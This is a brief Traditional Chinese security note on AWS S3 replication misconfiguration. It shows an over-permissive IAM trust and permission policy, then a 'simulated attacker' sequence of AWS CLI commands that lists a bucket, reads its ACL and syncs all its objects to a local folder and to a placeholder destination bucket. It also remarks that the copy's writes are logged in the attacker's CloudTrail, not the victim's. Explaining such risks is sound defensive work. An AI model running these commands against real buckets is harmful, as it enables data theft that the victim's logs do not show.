AWS S3 replication policy - 使用 Amazon S3 複寫在 AWS 區域內和區域間複寫資料。S3是一個高彈性、全受管、低成本的雲端服務,而複寫策略(Replication Policies)可以使得S3 bucket在不同的bucket或是不同帳戶下的bucket間複寫物件(object)。
注:如果兩個bucket要進行複寫,兩個bucket都要啟用版本控制。
配置錯誤引發的資料外洩,以下是權限都打開的配置。
在定義role的時候設定trust policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": [
"s3.amazonaws.com",
"batchoperations.s3.amazonaws.com" # 支援S3批次操作
]
},
"Action": "sts:AssumeRole"
}
]
}
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetReplicationConfiguration",
"s3:PutInventoryConfiguration",
"s3:InitiateReplication"
],
"Resource": "arn:aws:s3:::*"
},
{
"Effect": "Allow",
"Action": [
"s3:GetObjectVersionForReplication",
"s3:GetObjectVersionAcl",
"s3:GetObjectVersionTagging"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"s3:ReplicateObject",
"s3:ReplicateDelete",
"s3:ReplicateTags"
],
"Resource": "*"
}
]
}
模擬攻擊者複寫s3 bucket所有object方法
% aws s3 ls {AWS_BUCKET_NAME}
% aws s3api get-bucket-acl --bucket {AWS_BUCKET_NAME}
% aws s3 sync s3://{AWS_BUCKET_NAME} .
% aws s3 sync s3://{SOURCE_BUCKET} s3://{DESTINATION_BUCKET}
注:S3 GetObject調用會記錄在受害者的Cloudtrail數據事件中,但是S3 PutObject調用會記錄在攻擊者的Cloudtrail中,如此,受害者無法在AWS Cloudtrail中看到副本的S3複寫過程。